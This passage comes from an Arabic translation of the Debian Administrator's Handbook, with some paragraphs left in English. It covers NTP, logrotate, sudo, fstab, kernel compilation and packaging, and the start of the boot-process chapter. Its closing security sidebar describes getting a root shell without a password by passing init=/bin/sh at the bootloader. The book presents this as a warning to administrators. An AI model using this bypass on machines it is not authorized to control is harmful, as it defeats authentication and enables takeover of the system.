لكن إذا كنت تدير شبكة كبيرة، فمن الأفضل تثبيت مخدم NTP خاص، الذي سيتزامن مع المخدمات العامة. في هذه الحالة، تستطيع جميع الأجهزة الأخرى على شبكتك استخدام مخدم NTP الداخلي الخاص بك بدلاً من زيادة الحمل على المخدمات العامة. كما أنك ستزيد من تجانس الساعات، لأن جميع الأجهزة ستتزامن مع مصدر واحد، قريب منها جداً من ناحية أزمنة نقل المعلومات عبر الشبكة.

8.9.2.1. لمحطات العمل

بما أن محطات العمل يعاد تشغيلها باستمرار (حتى لو كان ذلك لتوفير الطاقة فقط)، تكفي مزامنتها مع NTP عند الإقلاع. لعمل ذلك، فقط ثبّت الحزمة ntpdate. يمكنك تغيير مخدم NTP المستعمل إذا احتجت ذلك عبر تعديل الملف /etc/default/ntpdate.

8.9.2.2. للمخدمات

لا يعاد تشغيل المخدمات إلا نادراً، ومن المهم جداً أن تكون ساعة النظام فيها صحيحة. للحفاظ على الوقت دقيقاً دوماً عليك تثبيت مخدم NTP محلي، وهذه الخدمة توفرها الحزمة ntp. حسب الإعدادات الافتراضية، سوف يتزامن المخدم مع pool.ntp.org وسيعطي الوقت رداً على الطلبات التي ترد من الشبكة المحلية. يمكنك ضبطه من خلال تعديل الملف /etc/ntp.conf، أكثر التعديلات أهمية هي مخدم NTP الذي يشير إليه. إذا كانت الشبكة تحوي مخدمات كثيرة، فقد يفيدك تجهيز مخدم NTP محلي واحد يتزامن مع المخدمات العامة واستخدامه كمصدر لضبط الوقت على المخدمات الأخرى في الشبكة.

التعمق أكثر وحدات GPS ومصادر التوقيت الأخرى

إذا كانت مزامنة الوقت حاسمة جداً لشبكتك، فيمكنك تزود أحد المخدمات بوحدة GPS (التي سوف تحصل على قيمة الوقت من أقمار GPS الصناعية) أو وحدة DCF-77 (التي ستزامن التوقيت مع ساعة ذرية تقع قرب فرانكفورت بألمانيا). في هذه الحالة، سيكون إعداد مخدم NTP أعقد قليلاً، وعليك حتماً التحقق من الوثائق قبل أن تبدأ.

8.9.3. تدوير سجلات الملفات

قد تكبر ملفات السجلات، سريعاً، ومن الضروري أرشفتها. أكثر الأساليب شيوعاً هو الأرشيف الدوّار: حيث تؤرشف ملفات السجلات بصورة منتظمة، ويحتفظ فقط بآخر X من الأرشيفات. يتبع logrotate، وهو البرنامج المسؤول عن هذا التدوير، التعليمات التوجيهية المعطاة في الملف /etc/logrotate.conf وجميع الملفات في المجلد /etc/logrotate.d/. يستطيع مدير النظام تعديل هذه الملفات، إذا أراد تخصيص سياسة تدوير السجلات التي تعتمدها دبيان. تشرح صفحة الدليل logrotate(1)‎ جميع الخيارات المتاحة في ملفات الإعداد هذه. قد تريد زيادة عدد الملفات التي يحتفظ بها في دورة السجلات، أو نقل ملفات السجلات إلى مجلد معين خاص بأرشفة السجلات بدلاً من حذفها. يمكنك أيضاً إرسالها بالبريد الإلكتروني لأرشفتها في مكان آخر.

يُنفِّذ برنامج الجدولة cron (المشروح في قسم 9.7, “جدولة المهام باستخدام cron وatd”) برنامج logrotate يومياً.

8.9.4. تشارك صلاحيات الإدارة

في كثير من الأحيان، يعمل عدة مديري نظم على الشبكة نفسها. تشارك كلمة سر الجذر ليس حلاً أنيقاً، كما يفتح باب إساءة استخدام الصلاحيات نتيجة ضياع شخصية أصحاب التعديلات في هذا النوع من التشارك. يكمن حل هذه المشكلة في البرنامج sudo، الذي يسمح لمستخدمين محددين تنفيذ أوامر محددة بصلاحيات خاصة. في أكثر الحالات شيوعاً، يسمح sudo لمستخدم ثقة بتنفيذ أي أمر بصلاحية الجذر. لعمل ذلك، يستدعي المستخدم الأمر sudo command ويوثق شخصيته باستخدام كلمة سره الخاصة.

عند تثبيت الحزمة sudo، سوف تعطي صلاحيات الجذر الكاملة لأعضاء المجموعة sudo. لتوكيل صلاحيات أخرى، يجب أن يستخدم مدير النظام الأمر visudo، الذي يسمح له بتعديل ملف الضبط /etc/sudoers (هنا أيضاً، سوف يستدعى المحرر vi أو أي محرر آخر يحدده متغير البيئة EDITOR). تسمح إضافة سطر يحوي username ALL=(ALL) ALL للمستخدم المذكور بتنفيذ أي أمر بصلاحية الجذر.

تسمح الإعدادات الأعقد من هذه بالسماح بتنفيذ أوامر محددة لمستخدمين معينين. جميع تفاصيل الاحتمالات الممكنة معطاة في صفحة الدليل sudoers(5)‎.

8.9.5. قائمة نقاط الربط

أساسيات الربط وفك الربط

في نظم يونكس مثل دبيان، تُنظّم الملفات في هرمية مجلدات وحيدة كشكل شجرة. يدعى المجلد / ”بالمجلد الجذر“؛ كل المجلدات الإضافية هي مجلدات فرعية من هذا الجذر. ”الربط“ (mounting) هو تضمين محتويات جهاز ملحق (قرص صلب غالباً) في شجرة الملفات العامة الخاصة بالنظام. نتيجة لذلك، إذا كنت تستخدم قرصاً صلباً منفصلاً لتخزين بيانات المستخدمين الشخصية، يجب ”ربط“ هذا القرص مع المجلد /home/. تربط النواة نظام الملفات الجذر دائماً عند الإقلاع؛ أما الأجهزة الأخرى فتربط غالباً في وقت لاحق من عملية بدء التشغيل أو يدوياً باستخدام الأمر mount.

Some removable devices are automatically mounted when connected, especially when using the GNOME, Plasma or other graphical desktop environments. Others have to be mounted manually by the user. Likewise, they must be unmounted (removed from the file tree). Normal users do not usually have permission to execute the mount and umount commands. The administrator can, however, authorize these operations (independently for each mount point) by including the user option in the /etc/fstab file.

The mount command can be used without arguments to list all mounted filesystems; you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device. For the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

يحوي الملف /etc/fstab قائمة بجميع عمليات الربط التي تحدث إما آلياً عند الإقلاع أو يدوياً بالنسبة للأجهزة القابلة للإزالة. كل نقطة ربط توصف بسطر فيه عدة حقول تفصلها مسافات:

file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS).

يستبدل هذ الحقل في أحيان كثيرة برقم التعريف الفريد لنظام الملفات (الذي يمكنك معرفته باستخدام blkid device) تسبقه UUID=. هذا يحمي من تغيّرات اسم الجهاز في حال إضافة أو إزالة الأقراص، أو إذا اكتشفت الأقراص في ترتيب مختلف.

نقطة الربط: الموقع على نظام الملفات المحلي حيث سيربط الجهاز، أو نظام الملفات البعيد، أو القسم.

النوع: يحدد هذا الحقل نظام الملفات المستخدم على الجهاز البعيد. بعض الأمثلة تشمل ext4،‏ ext3،‏ vfat،‏ ntfs،‏ btrfs،‏ xfs.

أساسيات NFS، نظام ملفات شبكي

NFS هو نظام ملفات شبكي؛ يسمح هذا النظام في بيئة لينكس بالوصول الشفاف إلى الملفات البعيدة عبر ضمّها إلى نظام الملفات المحلي.

هناك قائمة كاملة بنظم الملفات المعروفة في صفحة الدليل mount(8)‎. القيمة الخاصة swap هي لأقسام التبديل (الذاكرة الظاهرية)؛ والقيمة الخاصة auto تطلب من البرنامج mount التعرف على نظام الملفات آلياً (وهذا مفيد خصوصاً مع قارئات الأقراص ومفاتيح USB، لأن كل منها قد يحوي نظام ملفات مختلف)؛

خيارات: هناك خيارات كثيرة، حسب نظام الملفات، وهي موثقة في صفحة الدليل mount. أكثر الخيارات شيوعاً هي

rw أو ro، التي تعني أن الجهاز سيربط مع صلاحيات القراءة والكتابة أو صلاحيات القراءة فقط على الترتيب.

noauto يعطل الربط الآلي عند الإقلاع.

nofail يسمح بمتابعة الإقلاع حتى في حال عدم وجود الجهاز. تأكد من إضافة هذا الخيار للأجهزة الخارجية التي قد تكون مفصولة عند الإقلاع، لأن systemd لا يسمح لعملية الإقلاع بالاكتمال إلى نهايتها ما لم يضمن تماماً ربط جميع نقاط الربط التي يجب ربطها تلقائياً. لاحظ أنك تستطيع جمع هذا الخيار مع x-systemd.device-timeout=5s لإخبار systemd بعدم انتظار ظهور الجهاز لأكثر من 5 ثوان (انظر systemd.mount(5)‎).

user يسمح لكل المستخدمين بربط نظام الملفات هذا (بدون هذا الخيار لن يسمح إلا للمستخدم الجذر بإجراء هذه العملية).

defaults يعني مجموعة الخيارات الافتراضية: rw،‏ suid،‏ dev،‏ exec،‏ auto،‏ nouser و async ويمكن تعطي أي منها بعد خيار defaults عبر إضافة nosuid،‏ nodev وغيرها لتعطيل خياري suid،‏ dev الخ. إضافة الخيار user يعيد تفعيله، إذ أن defaults تتضمن خيار nouser.

dump: this field is almost always set to 0. When it is 1, it tells the dump tool that the partition contains data that is to be backed up.

pass: this last field indicates whether the integrity of the filesystem should be checked on boot, and in which order this check should be executed. If it is 0, no check is conducted. The root filesystem should have the value 1, while other permanent filesystems get the value 2.

مثال 8.5. مثال عن الملف /etc/fstab

# /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc defaults 0 0 # / was on /dev/sda1 during installation UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0 0 /dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

المدخلة الخيرة في هذا المثال تخص نظام ملفات شبكي (NFS): حيث رُبِطَ المجلد /shared/ من المخدم arrakis مع المجلد /shared/ على الجهاز المحلي. صيغة الملف /etc/fstab موثّقة في صفحة الدليل fstab(5)‎.

التعمق أكثر الربط التلقائي

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units (using the .automount suffix). See systemd.automount(5) for their precise syntax.

Other auto-mounting utilities exist, such as automount in the autofs package or amd in the am-utils package.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks, and can automatically mount removable media when they are connected.

8.9.6. locate و updatedb

يستطيع الأمر locate العثور على موقع ملف عندما تعرف جزءاً من اسمه فقط. يعطي هذا الأمر نتائج شبه آنية، لأنه يبحث في قاعدة بيانات تحوي جميع مواقع الملفات على النظام؛ تُحدَّث قاعدة البيانات هذه يومياً بالأمر updatedb. هناك تنويعات عديدة للأمر locate وقد اختارت دبيان mlocate لنظامها القياسي.

mlocate ذكي بما يكفي ليعيد الملفات التي يُسمَح للمستخدم الذي يستدعيه بالوصول إليها فقط رغم أنه يعتمد على قاعدة بيانات تحوي معلومات عن جميع الملفات على النظام (حيث يعمل أمر updatedb المرتبط معه بصلاحيات الجذر). لزيادة الأمان، يستطيع مدير النظام استخدام PRUNEDPATHS في الملف /etc/updatedb.conf لاستثناء بعض المجلدات من عملية الفهرسة.

8.10. ترجمة النواة

تتضمن النواة التي توفرها دبيان أكبر كمية ممكنة من الميزات، بالإضافة إلى أكبر كمية من تعريفات الأجهزة، في سبيل تغطية أوسع طيف من تجميعات العتاد الموجودة. لهذا تجد بعض المستخدمين الذين يفضلون إعادة ترجمة النواة حتى تتضمن ما يحتاجونه بشكل خاص فقط. هناك دافعين رئيسيين وراء ذلك. أولاً، قد يُحسن هذا من استهلاك الذاكرة، لأن كود النواة سيحجز الذاكرة دون سبب، حتى لو تكن هناك حاجة له (كما أنه لا ”ينزل“ إلى مساحة التبديل أبداً، لذلك فهو يستهلك الذاكرة RAM الفعلية)، وهذا قد يخفض الأداء الكلي للنظام. كما أن النواة المترجمة محلياً قد تحدّ من خطر المشاكل الأمنية لأن كود النواة المترجم والمستعمل يشكل جزءاً فقط من الكود الكلي.

ملاحظة التحديثات الأمنية

إذا اخترت ترجمة نواة خاصة بك، فعليك أن ترضى بالعواقب: لا تستطيع دبيان توفير تحديثات أمنية لنواتك المخصصة. أما باحتفاظك بالنواة التي توفرها دبيان، سوف تستفيد من التحديثات التي يُحضّرها فريق الحماية في مشروع دبيان.

إعادة ترجمة النواة ضرورية أيضاً إذا كنت تريد استخدام ميزات معينة متاحة بشكل رقع (patches) فقط (وليست مضمنة في نسخ النواة القياسية).

التعمق أكثر دفتر نواة دبيان

The Debian kernel team maintains the “Debian Kernel Handbook” (also available in the debian-kernel-handbook package) with comprehensive documentation about most kernel related tasks and about how official Debian kernel packages are handled. This is the first place you should look into if you need more information than what is provided in this section.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. المتطلبات الأولية ومقدمة

ليس غريباً أن تدير دبيان النواة بشكل حزمة، ولم تكن هذه الطريقة هي المتبعة في ترجمة وتثبيت النوى تقليدياً. بما أن النواة تبقى تحت سيطرة نظام الحزم، فيمكن عندها إزالتها بشكل نظيف، أو تنصيبها على عدة أجهزة. بالإضافة لذلك، تؤتمت السكربتات المرتبطة بهذه الحزم التفاعلات مع محمل الإقلاع ومولد initrd.

تحوي أكواد لينكس المنبعية (upstream) كل ما تحتاجه لبناء حزمة دبيان للنواة. لكنك تحتاج مع ذلك تثبيت build-essential لضمان أنك تملك الأدوات اللازمة لبناء حزمة دبيان. بالإضافة لذلك، تحتاج خطوة ضبط النواة للحزمة libncurses5-dev. أخيراً، تسمح الحزمة fakeroot بإنشاء حزمة دبيان دون استخدام الصلاحيات الإدارية.

ثقافة kernel-package وأيامها الجميلة الخالية

قبل أن يملك نظام بناء لينكس القدرة على بناء حزم دبيان صحيحة، كانت الطريقة المفضلة لبناء هذه الحزم هي استخدام make-kpkg من الحزمة kernel-package.

8.10.2. الحصول على الشفرة المصدرية

Like anything that can be useful on a Debian system, the Linux kernel sources are available in a package. To retrieve them, just install the linux-source-version package. The apt search ^linux-source command lists the various kernel versions packaged by Debian. The latest version is available in the Unstable distribution: you can retrieve them without much risk (especially if your APT is configured according to the instructions of قسم 6.2.6, “العمل مع عدة توزيعات”). Note that the source code contained in these packages does not correspond precisely with that published by Linus Torvalds and the kernel developers; like all distributions, Debian applies a number of patches, which might (or might not) find their way into the upstream version of Linux. These modifications include backports of fixes/features/drivers from newer kernel versions, new features not yet (entirely) merged in the upstream Linux tree, and sometimes even Debian specific changes.

The remainder of this section focuses on the 4.19 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-4.19 package has been installed. It contains /usr/src/linux-source-4.19.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel $ tar -xaf /usr/src/linux-source-4.19.tar.xz

ثقافة موقع أكواد النواة

Traditionally, Linux kernel sources would be placed in /usr/src/linux/ thus requiring root permissions for compilation. However, working with administrator rights should be avoided when not needed. There is a src group that allows members to work in this directory, but working in /usr/src/ should be avoided, nevertheless. By keeping the kernel sources in a personal directory, you get security on all counts: no files in /usr/ unknown to the packaging system, and no risk of misleading programs that read /usr/src/linux when trying to gather information on the used kernel.

8.10.3. ضبط النواة

تتمثل الخطوة التالية في إعداد النواة حسب احتياجاتك. تعتمد الإجراءات الدقيقة على أهدافك.

عند إعادة ترجمة نسخة أحدث من النواة (تحوي رقع إضافية مثلا)، ستبقى الإعدادات أقرب ما يمكن إلى الإعدادات التي تقترحها دبيان على الأغلب. في هذه الحالة، يمكن بدلاً من إعادة ضبط كل شيء بدءاً من الصفر أن تنسخ الملف /boot/config-version (يقصد بكلمة version نسخة النواة المستخدمة حالياً، التي يمكن معرفتها بالأمر uname -r) إلى ملف .config في المجلد الذي يحوي أكواد النواة.

$ cp /boot/config-4.19.0-5-amd64 ~/kernel/linux-source-4.19/.config

يمكنك أن تتوقف هنا وتقفز إلى قسم 8.10.4, “ترجمة وبناء الحزمة”، ما لم تكن مضطراً لتغيير الإعدادات. لكن إذا كنت تحتاج تغيير الإعدادات، أو إذا قررت إعادة ضبط كل شيء من الصفر، عليك تخصيص وقت كاف لضبط النواة. هناك واجهات متنوعة مخصصة لهذا الغرض في مجلد أكواد النواة التي يمكن استخدامها عبر استدعاء الأمر make target، حيث يأخذ target إحدى القيم المذكورة أدناه.

يترجم الأمر make menuconfig وينفّذ واجهة نصية (هنا تظهر الحاجة للحزمة libncurses5-dev) التي تسمح بتصفح الخيارات المتاحة بشكل بنية شجرية. يمكن تغيير قيمة الخيار المحدد عبر ضغط مفتاح Space، أما Enter فيفعّل الزر المحدد أسفل الشاشة؛ زر Select يعود إلى القائمة الفرعية المحددة؛ و Exit يغلق الشاشة الحالية ويتحرك للأعلى في الشجرة؛ يعرض Help معلومات مفصلة أكثر عن دور الخيار المحدد. تسمح مفاتيح الأسهم بالتحرك ضمن قائمة الخيارات والأزرار. للخروج من برنامج الإعداد، اختر Exit من القائمة الرئيسية. عندها يعرض عليك البرنامج حفظ التعديلات التي أجريتها؛ وافق على ذلك إذا كنت راضياً عن اختياراتك.

للواجهات الأخرى ميزات مشابهة، لكنها تعمل ضمن واجهات رسومية أكثر تطوراً؛ مثل make xconfig التي تستخدم الواجهة الرسومية Qt، و make gconfig التي تستخدم +GTK. تحتاج الأولى حزمة libqt4-dev، بينما تعتمد الثانية على libglade2-dev و libgtk2.0-dev.

عند استخدام إحدى واجهات الضبط هذه، يفضل دوماً البدء من إعدادات افتراضية مقبولة. توفر النواة إعدادات كهذه في arch/arch/configs/*_defconfig ويمكنك أن تضع الإعدادات التي اخترتها حيز التطبيق باستخدام make x86_64_defconfig (على حواسيب 64 بت) أو make i386_defconfig (على حواسيب 32 بت).

تلميح التعامل مع ملفات .config القديمة

عندما تقدم ملف .config ولدته باستخدام نسخة نواة أخرى (أقدم عادة)، ستضطر لتحديثه. يمكنك عمل ذلك باستخدام make oldconfig، الذي سيطرح عليك الأسئلة المتعلقة بخيارات الضبط الجديدة تفاعلياً. إذا كنت تريد استخدام الإجابة الافتراضية لكل هذه الأسئلة يمكنك استخدام make olddefconfig. أما إذا استخدمت make oldnoconfig، فسوف يفترض أن تريد الإجابة بالنفي على جميع الأسئلة.

8.10.4. ترجمة وبناء الحزمة

ملاحظة التنظيف قبل إعادة البناء

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first. If you copied the configuration from /boot/, you must change the system trusted keys option, providing an empty string is enough: CONFIG_SYSTEM_TRUSTED_KEYS = "".

بعد تجهيز إعدادات النواة، سيولد الأمر البسيط make deb-pkg‏ 5 حزم دبيانية على الأكثر: linux-image-version التي تحوي صورة النواة والوحدات المرتبطة بها، و linux-headers-version التي تحوي ملفات الترويسات التي تلزم عند ترجمة وحدات خارجية، و linux-firmware-image-version التي تحوي ملفات فيرم وير (firmware) تحتاجها بعض التعريفات (قد تكون هذه الحزمة مفقودة عند البناء من الشفرات المصدرية التي توفرها دبيان)، و linux-image-version-dbg التي تحوي رموز التنقيح (debugging symbols) لصورة النواة ووحداتها، و linux-libc-dev التي تحوي الترويسات الخاصة ببعض مكتبات ساحة المستخدم مثل GNU glibc.

يتحدد version عبر دمج رقم النسخة المنبعية (الذي يتحدد بالمتغيرات VERSION و PATCHLEVEL و SUBLEVEL و EXTRAVERSION في ملف Makefile)، ومتغير الضبط LOCALVERSION، ومتغير البيئة LOCALVERSION. أما نسخة الحزمة فتستخدم السلسلة النصية نفسها مع إضافة رقم مراجعة يتزايد آلياً (ويُخزَّن في .version)، إلا إذا تجاوزته باستخدام متغير البيئة KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1 [...] $ ls ../*.deb ../linux-headers-4.19.37-falcot_4.19.37-1_amd64.deb ../linux-image-4.19.37-falcot_4.19.37-1_amd64.deb ../linux-libc-dev_4.19.37-1_amd64.deb

8.10.5. ترجمة الوحدات الخارجية

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telefony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

These packages are many and varied, apt-cache rdepends module-assistant$ can show the list provided by Debian. However, a complete list isn't particularly useful since there is no particular reason for compiling external modules except when you know you need it. In such cases, the device's documentation will typically detail the specific module(s) it needs to function under Linux.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using DKMS. Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

$ sudo apt install dahdi-dkms [...] Setting up xtables-addons-dkms (2.12-0.1) ... Loading new xtables-addons-2.12 DKMS files... Building for 4.19.0-5-amd64 Building initial module for 4.19.0-5-amd64 Done. dahdi_dummy.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/4.19.0-5-amd64/updates/dkms/ [...] DKMS: install completed. $ sudo dkms status dahdi, DEB_VERSION, 4.19.0-5-amd64, x86_64: installed $ sudo modinfo dahdi_dummy filename: /lib/modules/4.19.0-5-amd64/updates/dkms/dahdi_dummy.ko license: GPL v2 author: Robert Pleh <robert.pleh@hermes.si> description: Timing-Only Driver [...]

بدائل module-assistant

Before DKMS, module-assistant was the simplest solution to build and deploy kernel modules. It can still be used, in particular for packages lacking DKMS integration: with a simple command like module-assistant auto-install dadhi (or m-a a-i dahdi for short), the modules are compiled for the current kernel, put in a new Debian package, and that package gets installed on the fly.

8.10.6. ترقيع النواة

لا تتضمن النواة القياسية بعض المزايا لأنها غير ناضجة أو نتيجة بعض الخلافات مع مشرفي النواة. يمكن توزيع هذه المزايا كرقع يستطيع أي أحد تطبيقها على أكواد النواة إذا أراد.

Debian sometimes provides some of these patches in linux-patch-* packages, but they often don't make it into stable releases (sometimes for the very same reasons that they are not merged into the official upstream kernel). These packages install files in the /usr/src/kernel-patches/ directory.

إذا أردت تطبيق بعض من هذه الرقع، استخدم الأمر patch في مجلد الأكواد المصدرية ثم ابدأ ترجمة النواة كما شرحنا سابقاً.

$ cd ~/kernel/linux-source-4.9 $ make clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

لاحظ أنه لا يشترط أن تعمل أي رقعة مع جميع إصدارات النواة؛ قد يخفق الأمر patch عند تطبيق بعض الرقع على أكواد النواة. ستعرض رسالة خطأ تعطي بعض التفاصيل عن سبب الإخفاق؛ في هذه الحالة، راجع الوثائق المتوفرة في حزمة الرقعة (في المجلد /usr/share/doc/linux-patch-*/). في معظم الحالات، يذكر مشرف الحزمة إصدارات النواة التي أُعدَّت الرقعة لها.

8.11. تثبيت النواة

8.11.1. مزايا حزمة النواة

A Debian kernel package installs the kernel image (vmlinuz-version), its configuration (config-version) and its symbols table (System.map-version) in /boot/. The modules are installed in the /lib/modules/version/ directory.

CULTURE The symbols table

The symbols table helps developers understand the meaning of a kernel error message; without it, kernel “oopses” (an “oops” is the kernel equivalent of a segmentation fault for user-space programs, in other words messages generated following an invalid pointer dereference) only contain numeric memory addresses, which is useless information without the table mapping these addresses to symbols and function names.

تولد سكربتات إعداد الحزمة صورة initrd آلياً، وههو نظام مصغر مصمم حتى يحمّله محمل الإقلاع إلى الذاكرة (من هنا جاء اسمه، الذي يرمز للعبارة ”init ramdisk“ أي قرص التهيئة الذاكري)، وتستخدمه النواة لينكس فقط لتحميل الوحدات اللازمة للوصول إلى الأجهزة التي تحوي نظام دبيان الكامل (مثلاً، تعاريف أقراص SATA). أخيراً، تُحدّث سكربتات ما بعد التثبيت الروابط الرمزية /vmlinuz و /vmlinuz.old و /initrd.img و /initrd.img.old بحيث تشير إلى أحدث نواتين مثبتتين، بالإضافة إلى صورتي initrd الأخيرتين.

معظم هذه المهمات موكلة إلى سكربتات تعليق (hook scripts) في المجلدات /etc/kernel/*.d/. مثلاً، يعتمد التكامل مع grub على /etc/kernel/postinst.d/zz-update-grub و /etc/kernel/postrm.d/zz-update-grub لاستدعاء update-grub عند تثبيت أو إزالة النوى.

8.11.2. التثبيت باستخدام dpkg

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-4.19.37-falcot_1_amd64.deb.

لقد شرحنا في هذا الفصل خطوات الإعداد الأساسية التي تطبيقها على مخدم أو محطة عمل على حد سواء، كما يمكن إعادة تطبيقها على نطاق واسع باستخدام طرق نصف آلية. لكن هذه الإعدادات لا تكفي وحدها لإنتاج لتجهيز النظام بالكامل. لا يزال هناك بعض نواحي الضبط، وهي تبدأ من البرامج منخفضة المستوى التي تعرف باسم ”خدمات يونكس“.

فصل 9. خدمات يونكس

يغطي هذا الفصل عدداً من الخدمات الأساسية المشتركة بين العديد من أنظمة يونكس التي يجب أن يعرفها كل مدير نظام.

9.1. إقلاع النظام

عند إقلاع الحاسب، تعرض الرسائل العديدة التي تمر على الشاشة العديد من الإعدادات وعمليات التهيئة الجارية. قد ترغب أحياناً بتعديل هذه المرحلة قليلاً، مما يعني أنك تحتاج فهمها جيداً. هذا هو الهدف من هذا القسم.

أولاً، يتولى BIOS التحكم بالحاسوب، ويتعرف على الأقراص، ويحمل سجل الإقلاع الرئيسي Master Boot Record، وينفذ محمّل الإقلاع. ثم يتولى محمل الإقلاع التحكم، ويبحث عن النواة على القرص، ثم يحملها وينفذها. بعدها تُهيَّأ النواة، وتبدأ النواة البحث عن القسم الذي يحوي نظام الملفات الجذر وتربطه (mount)، وأخيراً تستدعي النواة البرنامج الأول: init. عادةً، يقع هذا ”القسم الجذر“ وبرنامج init هذا في نظام ملفات ظاهري ليس له وجود إلا في الذاكرة RAM في الحقيقة (ومن هنا أتى اسمه initramfs، وسابقاً كان يدعى ”initrd“ اختصاراً للعبارة ”initialization RAM disk“). يُحمَّل نظام الملفات هذا إلى الذاكرة بوساطة محمل الإقلاع، وغالباً يتم تحميله من ملف على القرص الصلب أو من الشبكة. يحوي نظام الملفات هذا الحد الأدنى من المتطلبات التي تحتاجها االنواة لتحميل نظام الملفات الجذر ”الحقيقي“: قد تكون هذه المتطلبات وحدات تعريف للسواقة الصلبة، أو أجهزة أخرى لا يستطيع النظام الإقلاع دونها، أو غالباً ما تكون سكربتات تهيئة ووحدات لتجميع مصفوفات RAID، أو لفتح الأقسام المشفرة، أو تفعيل حيزات LVM، الخ. بعد ربط القسم الجذر، يسلم initramfs التحكم إلى init الحقيقي. وينتقل الجهاز إلى عملية الإقلاع النظامية.

9.1.1. نظام إقلاع systemd

حالياً، يُقدِّم systemd عملية ”init الحقيقية“، ويشرح هذا القسم نظام الإقلاع هذا.

ثقافة ما قبل systemd

systemd هو ”نظام إقلاع init system“ حديث نسبياً، ورغم أنه كان متاحاً، نوعاً ما، في ويزي لكنه لم يصبح النظام الافتراضي إلا في دبيان جيسي. اعتمدت الإصدارات السابقة، افتراضياً، على ”System V init“ (من الحزمة sysv-rc)، وهو نظام إقلاع أقدم. سوف نتحدث عن System V init بعد قليل.

بدائل نظم إقلاعية أخرى

This book describes the boot system used by default in Debian Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

file-rc هو نظام إقلاعي بتصميم بسيط جداً. يحافظ هذا النظام على مبدأ مستويات التشغيل، لكنه يستبدل الأوامر التوجيهية والروابط الرمزية بملف إعداد، الذي يشير إلى عمليات init التي يجب استدعاؤها كما يحدد ترتيب تشغيلها.

The upstart system is still not perfectly tested on Debian. It is event based: init scripts are no longer executed in a sequential order but in response to events such as the completion of another script upon which they are dependent. This system, started by Ubuntu, was present in Debian Jessie, but was not the default; it came, in fact, as a replacement for sysvinit, and one of the tasks launched by upstart was to launch the scripts written for traditional systems, especially those from the sysv-rc package.

هناك نظم إقلاع أخرى وأوضاع عمل أخرى، مثل runit،‏أو minit، لكنها جميعاً متخصصة نسبياً وغير منتشرة على نطاق واسع.

شكل 9.1. تسلسل الإقلاع في حاسب يعمل بنظام لينكس يستخدم systemd

حالة خاصة الإقلاع من الشبكة

في بعض الحالات، قد يتم ضبط BIOS بحيث لا ينفذ MBR، بل يبحث عن مكافئه على الشبكة، وهذا يسمح بتجميع حواسيب بدون أقراص صلبة، أو تجهيز حواسيب يعاد تثبيت النظام عليها عند كل إقلاع. هذا الخيار غير متوفر في جميع الأجهزة وهو يحتاج توافقاً مناسباً بين BIOS وبطاقة الشبكة عموماً.

يمكن استخدام الإقلاع من الشبكة لتشغيل debian-installer أو FAI (انظر قسم 4.1, “طرائق التثبيت”).

أساسيات العملية، نسخة من البرنامج

العملية process هي التمثيل الذاكري للبرنامج، وهي تحوي كل المعلومات اللازمة للتنفيذ السليم للبرمجية (تحوي الشفرة البرمجية نفسها، بالإضافة إلى البيانات التي تخزنها في الذاكرة، ولائحة الملفات التي فتحتها، والاتصالات الشبكية التي أنشأتها، الخ). يمكن إنشاء عدد من العمليات من برنامج واحد، ولا يشترط أن تعمل تحت مستخدمين مختلفين.

أمن استخدام الصدفة بدل init للحصول على صلاحيات الجذر

تقليدياً، أول عملية في سلسلة الإقلاع هي برنامج init (وهذا عبارة عن رابط رمزي يشير إلى /lib/systemd/systemd افتراضياً). لكن من الممكن تمرير خيار init للنواة للإشارة إلى برنامج آخر.

بوسع أي شخص يستطيع الوصول للحاسوب الضغط على زر Reset، وبالتالي إعادة إقلاع الجهاز. بعدها، من الممكن، عند الوصول إلى شاشة محمل الإقلاع، تمرير الخيار init=/bin/sh للنواة للحصول على صلاحيات الجذر دون معرفة كلمة سر مدير النظام.

